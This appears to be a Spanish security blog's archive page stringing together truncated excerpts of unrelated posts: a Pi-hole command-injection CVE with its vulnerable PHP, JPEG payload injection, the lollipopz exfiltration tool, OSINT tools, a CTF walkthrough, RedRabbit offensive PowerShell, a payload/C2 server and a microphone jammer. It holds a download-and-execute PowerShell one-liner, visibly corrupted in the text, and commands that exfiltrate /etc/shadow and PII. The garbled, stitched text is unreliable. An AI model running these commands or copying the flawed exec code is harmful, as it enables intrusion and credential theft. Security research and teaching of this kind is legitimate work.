Ejecución remota de código en Pi-hole (CVE-2020-8816)

Hoy leía acerca de una vulnerabilidad de RCE en Pi-hole 4.3.2 y anteriores (CVE-2020-8816) bastante curiosa por la manera de explotarse, veamos...
La vulnerabilidad no es que sea muy crítica porque para poder ejecutar código necesitaremos primero un usuario web ya que el fallo se encuentra en la parte de la configuración de reservas DHCP:


Lo lógico ahí es poner una dirección MAC con formato 'aaaaaaaaaaaa' al que se le asignará la IP del pool que queramos. Pero veamos el código de savesettings.php:
<?php
/* Pi-hole: A black hole for Internet advertisements
*  (c) 2017 Pi-hole, LLC (https://pi-hole.net)
*  Network-wide ad blocking via your own hardware.
*
*  This file is copyright under the latest version of the EUPL.
*  Please see LICENSE file for your rights under this license. */
 
if(basename($_SERVER['SCRIPT_FILENAME']) !== "settings.php")
{
    die("Direct access to this script is forbidden!");
}
 
//[...]
 
function validMAC($mac_addr)
{
  // Accepted input format: 00:01:02:1A:5F:FF (characters may be lower case)
  return (preg_match('/([a-fA-F0-9]{2}[:]?){6}/', $mac_addr) == 1);
}
 
 
//[...]
 
    // Read available adlists
    $adlist = readAdlists();
    // Read available DNS server list
    $DNSserverslist = readDNSserversList();
 
    $error = "";
    $success = "";
 
    if(isset($_POST["field"]))
    {
        // Handle CSRF
        check_csrf(isset($_POST["token"]) ? $_POST["token"] : "");
 
        // Process request
        switch ($_POST["field"]) {
             
//[...]
         
            case "DHCP":
 
                if(isset($_POST["addstatic"]))
                {
                    $mac = $_POST["AddMAC"];
                    $ip = $_POST["AddIP"];
                    $hostname = $_POST["AddHostname"];
 
                    if(!validMAC($mac))
                    {
                        $error .= "MAC address (".htmlspecialchars($mac).") is invalid!<br>";
                    }
                    $mac = strtoupper($mac);
 
                    if(!validIP($ip) && strlen($ip) > 0)
                    {
                        $error .= "IP address (".htmlspecialchars($ip).") is invalid!<br>";
                    }
 
                    if(!validDomain($hostname) && strlen($hostname) > 0)
                    {
                        $error .= "Host name (".htmlspecialchars($hostname).") is invalid!<br>";
                    }
 
                    if(strlen($hostname) == 0 && strlen($ip) == 0)
                    {
                        $error .= "You can not omit both the IP address and the host name!<br>";
                    }
 
                    if(strlen($hostname) == 0)
                        $hostname = "nohost";
 
                    if(strlen($ip) == 0)
                        $ip = "noip";
 
                    // Test if this lease is already included
                    readStaticLeasesFile();
                    foreach($dhcp_static_leases as $lease) {
                        if($lease["hwaddr"] === $mac)
                        {
                            $error .= "Static release for MAC address (".htmlspecialchars($mac).") already defined!<br>";
                            break;
                        }
                        if($ip !== "noip" && $lease["IP"] === $ip)
                        {
                            $error .= "Static lease for IP address (".htmlspecialchars($ip).") already defined!<br>";
                            break;
                        }
                        if($lease["host"] === $hostname)
                        {
                            $error .= "Static lease for hostname (".htmlspecialchars($hostname).") already defined!<br>";
                            break;
                        }
                    }
 
                    if(!strlen($error))
                    {
                        exec("sudo pihole -a addstaticdhcp ".$mac." ".$ip." ".$hostname);
                        $success .= "A new static address has been added";
                    }
                    break;
                }
 
                if(isset($_POST["removestatic"]))
                {
                    $mac = $_POST["removestatic"];
                    if(!validMAC($mac))
                    {
                        $error .= "MAC address (".htmlspecialchars($mac).") is invalid!<br>";
                    }
                    $mac = strtoupper($mac);
 
                    if(!strlen($error))
                    {
                        exec("sudo pihole -a removestaticdhcp ".$mac);
                        $success .= "The static address with MAC address ".htmlspecialchars($mac)." has been removed";
                    }
                    break;
                }
 
                 
 
//[...]
 
            default:
                // Option not found
                $debug = true;
                break;
        }
    }
 
//[...]

Inyección de código en imágenes subidas y tratadas con PHP-GD

Actualmente la mayoría de las aplicaciones web que nos permiten subir imágenes recrean las mismas por seguridad. Esto hace por ejemplo inútil inyectar código PHP en los metadatos exif de la imagen ya que el servidor los borrará (muchas veces con la librería PHP-GD). Sin embargo, existen algunas formas de inyectar código PHP directamente en imágenes como se puede ver en los siguientes enlaces:

https://github.com/fakhrizulkifli/Defeating-PHP-GD-imagecreatefromjpeg
https://github.com/fakhrizulkifli/Defeating-PHP-GD-imagecreatefromgif
https://secgeek.net/bookfresh-vulnerability/

Aunque si le habéis echado un vistazo a esos enlaces podréis comprobar que se pueden inyectar pocos caracteres.

Al hilo de esto, tenemos una interesante herramienta de Dylan Leggio (dlegs), un ingeniero de seguridad de Brooklyn:

https://github.com/dlegs/php-jpeg-injector

Para usar esta herramienta tendremos primero que recrear una imagen jpg con php-gd y luego inyectar el payload con el script gd-jpeg.py.

$ file poc.jpg
poc.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 512x512, frames 3

Para el primer paso usamos este mismo código:
<?php
$jpg = imagecreatefromjpeg('poc.jpg');
imagejpeg($jpg, 'exploit.jpg');
?>

Mi experiencia con el OSCE: Opinión honesta, no mártir edition


Hola estimados humanoides que pululan por Hackplayers, soy Borch y vengo a hablaros del OSCE y mi experiencia con el mismo. El primer disclaimer lo hago desde ya, esta opinión es a todas luces, tirarme piedras a mi propio tejado. Es que probable que éste no sea el artículo que estás buscando; es más, ni soy excepcionalmente inteligente, ni tengo 0days, ni se usar regex sin buscar en Google (lo siento wint3r). Tampoco he luchado contra leones mientras me sacaba la cert, ni me levantaba a las 4 para viajar 3 horas, estudiar de camino y alimentar a mi hambrienta familia (con los leones de antes). Una persona normal (bueh) con un poco de ganas (y tampoco tantas) por un nuevo reto y nada más.

Es un examen y nada más. No nos flipemos.
Todo comenzó un fatídico día de yo que sé, Septiembre. Quería profundizar en el tema y ya tenía el flamante (y sobrevalorado) OSCP desde hace un año y pico (que suspendí las dos primeras veces), leí un par de opiniones y ... ¡no pintaba mal! Me lié la manta a la cabeza (y mi jefe me animó a ello, gracias Rod!) y me apunté para empezarlo a finales de Noviembre. En ese transcurso, un crisol de sentimientos encontrados salieron a flote como submarino alemán U-boot: una mezcla entre ignorancia, ganas y estrés se apoderaron de mí, momento en el cuál me di cuenta del atolladero en el que me encontraba, la realidad era que la última vez que había visto algo de exploiting fue con un par de ROPs tontos y poco más, así que decidí que investigar por libre antes del lab sería una buena idea. Ahí me topé con Ramachandran, alias el colegui de Pentesteracademy y su certificación/curso/comoqueraisllamarlo: SLAE 32. Un contenido de fruta madre que se divide en dos partes:
- Ensamblador 101 (en esta parte estaba menos verde de lo que pensaba, lo cual fue un alivio)
- Shellcoding
Desgraciadamente, la primera parte es una chapa impresionante, podéis poner los videos a 1.25 1.5 si queréis porque el colega va a su ritmo a veces, viene bien si pensáis que sois unos paquetes para repasar conceptos. La segunda parte es harina de otro costal... haces stubs, encoders y empiezas a sentirte el jodido Kevin Mitnick. Total, que lo hagáis si queréis, yo lo hice y lo recomiendo muchísimo.

lollipopz: utilidad para probar distintas técnicas de exfiltración de datos

Lollipoz es una simple pero útil herramienta para probar la detección de distintas técnicas para exfiltración de información, por supuesto siempre para tests legales ;)


Instalación

$ git clone https://github.com/tasooshi/lollipopz.git
$ cd lollipopz
$ pip install -r requirements.txt


/etc/shadow -> HTTP GET requests

Server

# ./lollipopz-cli.py -m lollipopz.methods.http.param_cipher.GETServer -lp 80 -o output.log

Client

$ ./lollipopz-cli.py -m lollipopz.methods.http.param_cipher.GETClient -rh 127.0.0.1 -rp 80 -i ./samples/shadow.txt -r

/etc/shadow -> HTTP POST requests

Server

# ./lollipopz-cli.py -m lollipopz.methods.http.param_cipher.POSTServer -lp 80 -o output.log

Client

$ ./lollipopz-cli.py -m lollipopz.methods.http.param_cipher.POSTClient -rh 127.0.0.1 -rp 80 -i ./samples/shadow.txt -r

PII -> PNG embedded in HTTP Response

Server

$ ./lollipopz-cli.py -m lollipopz.methods.http.image_response.Server -lp 37650 -o output.log

Client

# ./lollipopz-cli.py -m lollipopz.methods.http.image_response.Client -rh 127.0.0.1 -rp 37650 -lp 80 -i ./samples/pii.txt -r

PII -> DNS subdomains querying

Server

# ./lollipopz-cli.py -m lollipopz.methods.dns.subdomain_cipher.Server -lp 53 -o output.log

Client

$ ./lollipopz-cli.py -m lollipopz.methods.dns.subdomain_cipher.Client -rh 127.0.0.1 -rp 53 -i ./samples/pii.txt -r

SearchOrg: script para obtener información de empresas mediante su dominio

En las fases iniciales de los procesos de pentesting es fundamental obtener la mayor información posible de la empresa que se esta analizando, para esto existen múltiples herramientas y metodologías. SearchOrg es una herramienta que busca integrar algunas técnicas pasivas y otras activas para obtener información de una empresa usando su dominio de correo electrónico.

El programa solicita que indicar un dominio para extraer:
  • Registros MX del DNS
  • Registros TXT del DNS y con ésto conocer los controles a los correos.
  • Usando el dominio y una lista de subdominios habituales, se obtiene mediante NMAP los servicios y versiones disponibles en los equipos.
  • Usando las IP’s detectadas se usa la API de Shodan, para detectar vulnerabilidades reportadas en las IPs que se hayan cargado a Shodan.
  • Con el nombre del dominio, se hace una búsqueda por organización en Shodan para, usando el mecanismo de agrupamiento (facets), poder mostrar el top 10 de:
    • Puertos
    • Sistemas Operativos
    • Vulnerabilidades reportadas
    • Dominios
    • Versiones de SSL
La herramienta está escrita en Python y la podéis encontrar publicada en GitHub. Una vez clonada e instalados los requisitos, se debe cargar en el archivo la APIKey de Shodan, que no requiere ser de pago, sino
que se puede usar la versión gratuita.


Una vez termina de ejecutarse crea un archivo llamado report.txt donde se almacenan los datos mostrados en pantalla.

Proyecto : https://github.com/dsespitia/SearchOrg

Contribución gracias a Diego Samuel Espitia Montenegro aka @dsespitia, CSA de ElevenPaths.

Metabigor, una herramienta para hacer OSINT y más sin necesidad de API keys

Metabigor es una herramienta de inteligencia, su objetivo es realizar tareas OSINT y algunas otras más pero sin ninguna clave API. Por el momento sus principales características son:

- Descubrir la dirección IP del objetivo.
- Wrapper para ejecutar masscan y nmap en la IP objetivo.
- Realizar búsquedas desde la línea de comandos en algún motor de búsqueda.
Comandos de ejemplo:
# descubrir las ips de una compañía/organización
echo "company" | metabigor net --org -o /tmp/result.txt

# descubrir IPs de un ASN
echo "ASN1111" | metabigor net --asn -o /tmp/result.txt
cat list_of_ASNs | metabigor net --asn -o /tmp/result.txt

# ejecutar masscan en el puerto 443 de una subred
echo "1.2.3.4/24" | metabigor scan -p 443 -o /tmp/result.txt

# ejecutar masscan en todos los puertos y nmap en los puertos abiertos
cat list_of_IPs | metabigor scan --detail -o /tmp/result.txt

# buscar los resultados en fofa
echo 'title="RabbitMQ Management"' | metabigor search -x -v -o /tmp/result.txt

Proyecto: https://github.com/j3ssie/metabigor

Solución al reto 31: hc0n Christmas CTF

El reto está disponible en la plataforma tryhackme:

https://tryhackme.com/room/hc0nchristmasctf


Primero escaneamos los puertos:

nmap -sT --max-retries 1 10.10.119.56 -F

Cuando hay first blood hacemos escaneo rápido con -F (top 100 puertos) para ir dándole a algo mientras dejamos un escaneo de todos los puertos con la opción -p-. En este caso no sale ningún puerto más de los que obtenemos con el comando anterior.


Empezamos buscando directorios en la web del puerto 80, para ello usamos ffuf que vuela!

https://github.com/ffuf/ffuf

ffuf -t 100 -u http://10.10.119.56/FUZZ -w /usr/share/wordlists/raft-large-files.txt -fc 403


El fichero robots.txt nos da varias pistas que usaremos más adelante.

RedRabbit - PowerShell ofensivo

RedRabbit es el par de BlueRabbit pero con scripts más ofensivos, creado para facilitar el reconocimiento y pentesting. Lo ideal es ejecutarlo en memoria lo que además nos permitirá tener siempre la última versión disponible:

powershhttps://github.com/securethelogs/RedRabbitell –nop –c "iex(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/securethelogs/RedRabbit/master/redrabbit.ps1')"


Las opciones disponibles son:

Opción 1: Reconocimiento rápido

Reconocimiento rápido mostrará detalles sobre el usuario, grupos, host y red. En orden:
  •     Usuario de listas
  •     Host de listas
  •     Enumera las interfaces de red
  •     Listas de grupos de usuarios (inc inc.)
  •     Muestra privilegios
  •     Enumera administradores locales
  •     Listas de usuarios locales
  •     Enumera usuarios registrados actualmente
  •     Muestra programas instalados
  •     Pruebas si se puede acceder a Internet
  •     Muestra las reglas locales de firewall

Satellite: sirviendo payloads "like a sir"

Satellite es un servidor que aloja payloads y que filtra las peticiones para garantizar que cada objetivo obtenga el más adecuado. Se trata de una alternativa a Apache y Nginx para alojar payloads, así como una alternativa a Caddy para la redirección de tráfico C2.

Está escrito en Go e implementa un proxy HTTP y un servidor JA3 basado en CapacitorSet, es capaz de filtrar el tráfico en función de la cantidad de veces que se ha servido un payload, tiene en cuenta los agentes de usuario, las firmas JA3, paths de prerequisitos y más.

Características destacadas

- Entrega de payloads basada en firmas JA3
- Tiempo de vida de payloads configurable
- Redirección de tráfico C2 (proxy)
- Posibilidad de "scriptear" las peticiones
- Facilidad en la captura de credenciales
- Filtrado global de peticiones

Instalación

Para probarlo en mi caso lo instalaré en Ubuntu aunque podeis encontrar instrucciones de instalación para otras plataformas en la Wiki del proyecto.  https://github.com/t94j0/satellite/wiki/Installation

Simplemente descargamos el paquete correspondiente y lo instalamos:
$ wget https://github.com/t94j0/satellite/releases/download/v0.0.1/satellite_0.0.1_linux_amd64.deb
$ sudo dpkg -i satellite_0.0.1_linux_amd64.deb

Configuración del servidor

Las rutas que Satellite buscará para cargar la configuración son las siguientes:

    $HOME/.config/satellite/config.yml
    $HOME/.satellite/config.yml
    /etc/satellite/config.yml

El "brazalete del silencio" contra Siri, Alexa y demás micrófonos "inteligentes"

Por diseño, los teléfonos y altavoces inteligentes tienen micrófonos que siempre están encendidos y escuchan las llamadas palabras de activación como "Alexa", "Hey, Siri" u "OK, Google". Solo después de escuchar esa señal se supone que deben comenzar a grabar. Pero sólo "se supone"... y no nos referimos sólo a que se pueda espiar de forma intencionada: varios estudios ya han demostrado que los dispositivos se activan docenas de veces diariamente y comienzan a grabar después de escuchar frases similares a sus palabras de activación, sobretodo a través de la TV, la radio u otras conversaciones.

Heather Zheng y Ben Zhao, profesores de informática en la Universidad de Chicago, junto con el profesor asistente Pedro Lopes han diseñado un "brazalete de silencio" o jammer que bloquea Amazon Echo o cualquier otro micrófono cercano que pueda escuchar las conversaciones del usuario.

El brazalete tiene 24 altavoces que emiten señales ultrasónicas cuando el usuario lo enciende. El sonido es imperceptible para la mayoría de los oídos, con la posible excepción de los más jóvenes y los perros, pero los micrófonos cercanos detectarán el sonido de alta frecuencia en lugar de otros ruidos.

"Es muy fácil grabar en estos días", dijo Lopes. “Esta es una defensa útil. Cuando tenga algo privado que decir, puede activarlo en tiempo real. Cuando reproduzcan la grabación, el sonido desaparecerá".

Durante la PoC, podemos observar como al encender el brazalete se genera un ruido blanco estático que enmascara las conversaciones:


Por el momento, el brazalete es solo un prototipo. Los investigadores dicen que podrían fabricarlo por tan solo $20 y un puñado de inversores ya han preguntado sobre su comercialización.

Habrá que estar pendientes.. ;)

Fuente: https://www.nytimes.com/2020/02/14/technology/alexa-jamming-bracelet-privacy-armor.html